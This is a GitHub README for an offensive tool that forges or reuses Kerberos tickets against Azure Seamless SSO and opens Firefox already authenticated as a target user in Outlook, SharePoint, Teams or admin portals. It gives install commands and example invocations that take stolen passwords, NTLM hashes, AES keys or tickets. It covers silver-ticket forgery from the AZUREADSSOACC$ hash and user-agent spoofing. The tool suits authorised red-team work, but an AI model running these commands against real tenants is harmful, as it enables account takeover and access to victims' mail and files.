dejisec/seamless-sso-browser
GitHub: dejisec/seamless-sso-browser
Stars: 0 | Forks: 0
# seamless-sso-browser
Forges Kerberos tickets for Azure Seamless SSO and drops you into a target user's browser session. Give it a hash, a password, a TGT -- whatever you've got. It gets the tickets sorted and launches Firefox already authenticated.
## Prerequisites
- Linux with GSSAPI libs (Kali works out of the box)
- Firefox (`sudo apt install firefox-esr`)
- Seamless SSO enabled on the target tenant
## Usage
Run directly:
uvx git+https://github.com/dejisec/seamless-sso-browser -h
Or clone and run:
git clone https://github.com/dejisec/seamless-sso-browser.git
cd seamless-sso-browser
uv sync
uv run seamless-sso-browser -h
## Examples
### You have the user's password or hash
Talks to the DC to get a TGT, then requests service tickets for both SSO SPNs.
seamless-sso-browser \
--domain domain.local \
--dc-ip 10.0.0.1 \
--user jsmith \
--password 'P@ssw0rd'
Also works with `--user-password-hash ` or `--user-aes-key `.
### You have a TGT
Maybe from Rubeus, maybe from a ccache on disk. Pass it in and the tool requests the SSO service tickets from the DC.
seamless-sso-browser \
--domain domain.local \
--dc-ip 10.0.0.1 \
--tgt /path/to/tgt.ccache
Accepts ccache, kirbi, or base64.
### You have a TGS
Already got the service ticket? No DC needed.
seamless-sso-browser \
--domain domain.local \
--tgs /path/to/tgs.kirbi
Accepts ccache, kirbi, or base64.
### You have a ccache file
Skip everything, just point at it:
seamless-sso-browser \
--domain domain.local \
--ccache /path/to/combined.ccache
### Targeting something other than Outlook
Default opens Outlook. Use `--target` to pick a different app:
seamless-sso-browser \
--domain domain.local \
--ccache /path/to/combined.ccache \
--target sharepoint --tenant contoso
Presets: `outlook` (default), `sharepoint` (needs `--tenant`), `teams`, `onedrive`, `admin`, `entra`, `azure`.
You can also pass a raw URL: `--target https://custom-app.contoso.com`.
### User-agent
The tool always spoofs Edge on Windows 11 by default, override with `--useragent "..."` if needed.
## All flags
### Authentication (pick one)
| Flag | Description |
|------|------------|
| `--adssoacc-ntlm` | AZUREADSSOACC$ NTLM hash (silver ticket, no DC) |
| `--adssoacc-aes` | AZUREADSSOACC$ AES key (silver ticket, no DC) |
| `--password` | User's password (needs DC) |
| `--user-password-hash` | User's NTLM hash, `[LMHASH:]NTHASH` (needs DC) |
| `--user-aes-key` | User's AES key (needs DC) |
| `--tgt` | Pre-obtained TGT, file or base64 (needs DC) |
| `--tgs` | Pre-obtained TGS, file or base64 (no DC) |
| `--ccache` | Pre-forged ccache file (skips everything) |
### Identity and domain
| Flag | Description |
|------|------------|
| `--domain` | AD domain (always required) |
| `--user` | Target sAMAccountName |
| `--user-sid` | Full user SID (required for silver ticket forgery) |
| `--upn` | UPN for display only |
| `--dc-ip` | Domain controller address |
### Target and browser
| Flag | Description |
|------|------------|
| `--target` | App preset or URL (default: `outlook`) |
| `--tenant` | M365 tenant name (for `--target sharepoint`) |
| `--useragent` | Custom user-agent (default: Edge on Windows 11) |
| `--firefox-path` | Path to Firefox binary |
| `--no-cleanup` | Keep temp files after exit |
| `--verbose` | Print ccache path, krb5.conf, and the Firefox command |
## Troubleshooting
Run with `--verbose --no-cleanup` first. That prints the ccache path, krb5.conf contents, and the exact Firefox command so you can poke at things manually.
If SPNEGO negotiation isn't happening, set these and relaunch Firefox from the same shell:
export NSPR_LOG_MODULES=negotiateauth:5
export NSPR_LOG_FILE=/tmp/firefox_spnego.log
export KRB5_TRACE=/dev/stderr
Usual suspects: clock skew over 5 minutes, Firefox not picking up the ccache (check `KRB5CCNAME`), or Conditional Access blocking the session even though the tickets are valid.
## Acknowledgments
Inspired by [SeamlessPass](https://github.com/Malcrove/SeamlessPass) by Malcrove, which does the Seamless SSO flow as a CLI tool and gives you OAuth tokens. This project takes the same idea but wires it into a browser session instead, so you land directly in Outlook, SharePoint, or whatever else the target has access to.